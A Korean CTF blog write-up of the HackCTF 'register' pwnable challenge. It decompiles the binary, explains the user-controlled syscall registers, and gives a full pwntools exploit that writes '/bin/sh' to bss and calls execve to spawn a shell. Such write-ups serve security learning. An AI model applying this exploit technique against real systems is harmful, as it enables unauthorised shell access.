Pwnstar

HackCTF register 본문

Wargame/HackCTF

HackCTF register

포너블처돌이 2020. 6. 28. 18:38

 

register

 

64비트 바이너리이고, NX bit와 카나리가 걸려있다.

 

IDA

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  alarm(5u);
  setvbuf(stdout, 0LL, 2, 0LL);
  build();
}

 

메인함수이다. 시그널을 전달하기 위한 alarm 함수가 설정되어 있고, 5초가 지나면 시그널 14번이 실행된다. 

 

build 함수를 보자

void __noreturn build()
{
  __int64 v0; // [rsp+0h] [rbp-40h]
  __int64 v1; // [rsp+8h] [rbp-38h]
  __int64 v2; // [rsp+10h] [rbp-30h]
  __int64 v3; // [rsp+18h] [rbp-28h]
  __int64 v4; // [rsp+20h] [rbp-20h]
  __int64 v5; // [rsp+28h] [rbp-18h]
  __int64 v6; // [rsp+30h] [rbp-10h]
  unsigned __int64 v7; // [rsp+38h] [rbp-8h]

  v7 = __readfsqword(40u);
  signal(14, (__sighandler_t)handler);
  while ( 1 )
  {
    do
    {
      get_obj(&v0);
      obj = v0;
      qword_6010A8 = v1;
      qword_6010B0 = v2;
      qword_6010B8 = v3;
      qword_6010C0 = v4;
      qword_6010C8 = v5;
      qword_6010D0 = v6;
    }
    while ( (unsigned int)validate_syscall_obj(v0) );
    raise(14);
  }
}

 

음 이것만 봐서는 잘 모르겠다. get_obj 함수도 함께 보자.

 

__int64 __fastcall get_obj(_QWORD *a1)
{
  printf("RAX: ");
  *a1 = get_ll();
  printf("RDI: ");
  a1[1] = get_ll();
  printf("RSI: ");
  a1[2] = get_ll();
  printf("RDX: ");
  a1[3] = get_ll();
  printf("RCX: ");
  a1[4] = get_ll();
  printf("R8: ");
  a1[5] = get_ll();
  printf("R9: ");
  a1[6] = get_ll();
  return 0LL;
}

음?? 레지스터에 값을 전달할 수 있는 건가??

 

__int64 __fastcall exec_syscall_obj(_QWORD *a1)
{
  _QWORD *v1; // rbx
  __int64 result; // rax
  __int64 v3; // rdi
  __int64 v4; // rsi
  __int64 v5; // rdx
  __int64 v6; // rcx
  __int64 v7; // r8
  __int64 v8; // r9

  v1 = a1;
  result = *a1;
  v3 = a1[1];
  v4 = v1[2];
  v5 = v1[3];
  v6 = v1[4];
  v7 = v1[5];
  v8 = v1[6];
  __asm { syscall; LINUX - }
  return result;
}

 

signal(14)가 호출되면 실행되는 함수이다. 입력받은 값들을 각 레지스터에 넣고 syscall을 실행한다.

 

그러면 뭐 각 레지스터에 내 마음대로 값도 넣을 수 있겠다, 값도 무한으로 계속 입력 받으니

 

첫 입력 때에 bss영역 같은 곳에 /bin/sh를 입력해놓고 두 번째 입력 때에 execve syscall을 실행하면 될 것이다.

 

그러면 줄 값들을 생각해보자. 첫 입력에는 read 함수로

 

rax : 0

rdi : 0

rsi : bss

rdx : 8

rcx : 0

r8 : 0

r9 : 0

이렇게 입력을 주면 될 것 같고,

 

두 번째에는

 

rax : 59

rdi : bss

rsi : 0

rdx : 0

rcx : 0

r8 : 0

r9 : 0

 

이렇게 입력을 주면 될 것이다.

 

사실 디버깅을 하면서 값들이 제대로 들어가는 지 확인을 제대로 못해봤기에 IDA에서 본 것으로 판단하면 거의 확실하긴 한데 뇌피셜이나 다름없다.

 

그래도 페이로드를 짠 대로 실행시켜보자.

 

ex.py

from pwn import*

context.terminal = ['tmux', 'splitw', '-h']

p = process("./register")
#p = remote("ctf.j0n9hyun.xyz", 3026)
script = '''
b*0x0000000000400ACD
'''

gdb.attach(p, script)

binsh = "/bin/sh\x00"

p.recvuntil("RAX: ")
p.sendline("0")
p.recvuntil("RDI: ")
p.sendline("0")
p.recvuntil("RSI: ")
p.sendline("6295656")
p.recvuntil("RDX: ")
p.sendline("8")
p.recvuntil("RCX: ")
p.sendline("0")
p.recvuntil("R8: ")
p.sendline("0")
p.recvuntil("R9: ")
p.sendline("0")
p.send(binsh)

sleep(4)

p.recvuntil("RAX: ")
p.sendline("59")
p.recvuntil("RDI: ")
p.sendline("6295656")
p.recvuntil("RSI: ")
p.sendline("0")
p.recvuntil("RDX: ")
p.sendline("0")
p.recvuntil("RCX: ")
p.sendline("0")
p.recvuntil("R8: ")
p.sendline("0")
p.recvuntil("R9: ")
p.sendline("0")

p.interactive()

 

이렇게 실행시켜주면

 

 

 

*디버깅이 왜 제대로 안되는지는 잘 모르겠다;; signal 함수 때문인가..

'Wargame > HackCTF' 카테고리의 다른 글

HackCTF j0n9hyun's secret  (0) 2020.06.29
HackCTF World Best Encryption Tool  (0) 2020.06.28
HackCTF rtc  (0) 2020.06.28
HackCTF you_are_silver  (0) 2020.06.27
HackCTF rop  (0) 2020.06.27
Comments